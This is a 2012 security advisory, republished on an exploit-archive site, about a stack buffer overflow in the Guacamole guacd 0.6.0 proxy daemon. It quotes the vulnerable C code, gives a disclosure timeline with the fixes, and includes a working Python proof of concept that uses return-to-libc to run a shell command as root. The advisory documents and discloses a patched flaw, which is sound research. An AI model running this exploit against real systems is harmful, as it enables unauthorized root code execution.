首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Guacamole 0.6.0 Buffer Overflow Vulnerability
来源:vfocus.net 作者:Lindfors 发布时间:2012-09-26  
Overview
========

  "Guacamole is an HTML5 web application that provides access to desktop
   environments using remote desktop protocols such as VNC or RDP. A
   centralized server acts as a tunnel and proxy, allowing access to
   multiple desktops through a web browser. No plugins are needed: the
   client requires nothing more than a web browser supporting HTML5 and
   AJAX."

      -- http://guac-dev.org/

guacamole 0.6.0 contains a trivial buffer overflow vulnerability that
allows connected users to execute code with the privileges of the guacd
daemon. In the Debian distribution the guacd 0.6.0-1 daemon runs as root
and allows connections from unauthenticated users. However, it
fortunately only listens on localhost by default.

Analysis
========

The server part of guacamole consists of a web application written in
Java and a proxy daemon ("guacd") written in C. The proxy part parses
the guacamole protocol using the libguac library. This library contains
a trivial buffer overflow vulnerability. As you can see in the following
quote the code fails to validate the length of the user supplied input
before using strcpy to copy it to a fixed size buffer in stack:

guac_client_plugin* guac_client_plugin_open(const char* protocol) {

    guac_client_plugin* plugin;

    /* Reference to dlopen()'d plugin */
    void* client_plugin_handle;

    /* Client args description */
    const char** client_args;

    /* Pluggable client */
    char protocol_lib[256] = "libguac-client-";
    
    union {
        guac_client_init_handler* client_init;
        void* obj;
    } alias;

    /* Add protocol and .so suffix to protocol_lib */
    strcat(protocol_lib, protocol);
    strcat(protocol_lib, ".so");

    /* Load client plugin */
    client_plugin_handle = dlopen(protocol_lib, RTLD_LAZY);
    if (!client_plugin_handle) {
        guac_error = GUAC_STATUS_BAD_ARGUMENT;
        guac_error_message = dlerror();
        return NULL;


Timeline
========

2012-08-23 Vulnerability discovered and reported to upstream
2012-08-23 Upstream fixes the issue in http://guac-dev.org/trac/changeset/7dcefa744b4a38825619c00ae8b47e5bae6e38c0/libguac
2012-09-12 Fixed version (libguac 0.6.0-2) is uploaded to Debian
2012-09-19 Upstream releases 0.6.3 that includes the fix

Proof of concept
================

#!/usr/bin/python
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability
#
# Copyright (c) 2012 Timo Juhani Lindfors <[email protected]>
#
# Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with
# default configuration. Uses return-to-libc to bypass non-executable
# stack.
#
import socket, struct
PROTOCOL_ADDRESS = 0xbf807e9f
SYSTEM_ADDRESS = 0xb76e7640
class GuacdPOC:
    def __init__(self, command):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(('localhost', 4822))
        self.s("select")
        self.c(",")
        protocol = (command + "; " + "#" * 265)[:265]
        protocol += struct.pack("L", PROTOCOL_ADDRESS)
        protocol += struct.pack("L", SYSTEM_ADDRESS)
        self.s(protocol)
        self.c(";")
    def s(self, x):
        self.sock.send("%d.%s" % (len(x), x))
    def c(self, x):
        self.sock.send(x)
GuacdPOC("touch /tmp/owned")

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QNX QCONN Remote Command Execu
·Counter Strike Servers Remote
·SafeNet Sentinel Keys Server C
·HP ALM Remote Code Execution
·ACDSee PRO .GIF Processing Mem
·Auxilium RateMyPet Arbitrary F
·ZEN Load Balancer Filelog Comm
·Samba 3.x Remote Root
·NTR ActiveX Control Check() Me
·Cisco DPC2100 Denial of Servic
·NTR ActiveX Control StopModule
·Midori Browser 0.3.2 Denial Of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved